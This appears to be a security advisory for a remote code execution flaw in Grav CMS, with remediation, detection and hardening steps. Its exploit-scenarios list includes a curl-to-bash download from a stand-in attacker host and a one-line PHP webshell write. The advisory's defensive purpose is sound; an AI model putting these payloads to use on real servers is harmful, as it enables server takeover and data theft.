Executive Summary
A critical remote code execution vulnerability (CVE-2026-65008) has been disclosed in Grav CMS versions up to and including 2.0.4. The vulnerability carries a CVSS score of 9.8 and exists in Blueprint::dynamicData() (system/src/Grav/Common/Data/Blueprint.php), which passes a Class::method callable string and its arguments directly to call_user_func_array() without any allowlist validation. When combined with the form plugin's routing capabilities, an attacker can invoke arbitrary PHP callables — achieving full remote code execution on the server.
CVSS Score: 9.8 (Critical)
The fix is available in Grav CMS 2.0.7.
Vulnerability Overview
| Attribute | Value |
|---|---|
| CVE ID | CVE-2026-65008 |
| CVSS Score | 9.8 (Critical) |
| Type | Remote Code Execution / Uncontrolled Callable (CWE-77) |
| Attack Vector | Network |
| Privileges Required | None (exploitable via form plugin routes) |
| User Interaction | None |
| Scope | Changed |
| Affected File | system/src/Grav/Common/Data/Blueprint.php |
Affected Versions
| Component | Affected Versions | Fixed Version |
|---|---|---|
| Grav CMS | <= 2.0.4 | 2.0.7 |
Technical Analysis
Blueprint::dynamicData() is a Grav internal method for processing dynamic form blueprint data. The method receives a callable specification in Class::method string format along with arguments, and invokes it using PHP's call_user_func_array().
The critical flaw: no allowlist is applied to the callable string before execution. The form plugin routes user-supplied form data into the blueprint processing pipeline, meaning an attacker can craft a form submission that injects an arbitrary Class::method callable — which Grav then executes server-side without restriction.
// Vulnerable pattern (simplified pseudocode)
// Blueprint::dynamicData() in Blueprint.php
$callable = $data['callable']; // Attacker-controlled
$args = $data['args']; // Attacker-controlled
call_user_func_array($callable, $args); // No allowlist!This is a classic PHP callable injection pattern. Any PHP function, static method, or built-in can be invoked:
Exploit Scenarios:
- system('curl attacker.com/shell.sh | bash')
- exec('id > /var/www/html/proof.txt')
- file_put_contents('/var/www/html/shell.php', '<?php system($_GET["c"]); ?>')
- Phar deserialization gadget chains via phar:// wrappers
Exploitation Path
1. Attacker identifies Grav CMS site with forms enabled (common default)
2. Attacker crafts a malicious form submission targeting a blueprint-processed field
3. Form plugin routes submission to Blueprint::dynamicData()
4. dynamicData() calls call_user_func_array() with attacker-supplied callable
5. Arbitrary PHP function executes on the server
6. Full RCE — file write, command execution, data exfiltration
Immediate Remediation
Step 1: Upgrade Grav CMS to 2.0.7
# Via Grav CLI (recommended)
bin/gpm self-upgrade
# Or download and apply the release package
# from https://getgrav.org/downloadsVerify the installed version:
bin/grav versionStep 2: Verify the Patch
The fix in 2.0.7 adds a callable allowlist to Blueprint::dynamicData(). Confirm the patch is in place:
grep -n "allowlist\|whitelist\|allowed_callables" system/src/Grav/Common/Data/Blueprint.phpStep 3: Scan for Evidence of Compromise
# Look for recently created PHP files in web-accessible paths
find /path/to/grav -name "*.php" -newer /path/to/grav/index.php -not -path "*/cache/*"
# Check for webshell patterns
grep -rl "system\s*(\|exec\s*(\|passthru\s*(" /path/to/grav/user/
grep -rl "base64_decode\s*(" /path/to/grav/user/
# Review form submissions in access logs
grep "POST.*form" /var/log/nginx/access.log | grep -v "your_trusted_ips"If Immediate Upgrade Is Not Possible
- Disable the form plugin:
bin/gpm disable form - Block POST requests to
/and/adminfrom external IPs via WAF or nginx rules - Set PHP
disable_functionsto restrict dangerous built-ins:; php.ini disable_functions = exec,passthru,shell_exec,system,proc_open,popen - Enable open_basedir restriction to limit file access scope
Detection Indicators
| Indicator | Description |
|---|---|
Unexpected .php files in /user/ directory | Webshell deployment |
| POST requests with unusual form field names | Exploitation attempts |
| Outbound connections from web server process | Post-exploitation callback |
| Processes spawned from PHP/nginx/apache | Command execution (e.g., system() call) |
Modified files under /system/ | Attacker establishing persistence |
Impact Assessment
A successful exploit gives the attacker the same OS-level access as the web server process user:
| Impact | Description |
|---|---|
| Arbitrary Command Execution | Run any OS command as www-data (or equivalent) |
| Webshell Deployment | Persistent PHP backdoor for ongoing access |
| Data Exfiltration | Read Grav config, user credentials, site content |
| Lateral Movement | Pivot to other services accessible from the server |
| Defacement | Modify or delete site content |
| Ransomware Staging | Encrypt or exfiltrate all site data |
Post-Remediation Checklist
- Confirm Grav 2.0.7+ is running (
bin/grav version) - Scan for webshells and unauthorized PHP files in web-accessible directories
- Rotate all Grav admin credentials and API keys
- Review form configurations — remove any unnecessary dynamic blueprint usage
- Check server processes and cron jobs for attacker-added persistence
- Audit web server logs for historical exploitation attempts
- Re-enable hardened PHP settings (
disable_functions,open_basedir) - Deploy a WAF rule to detect PHP callable injection patterns in form submissions
References
- NVD — CVE-2026-65008
- Grav CMS — Download & Releases
- OWASP — Code Injection
- PHP — call_user_func_array Security Considerations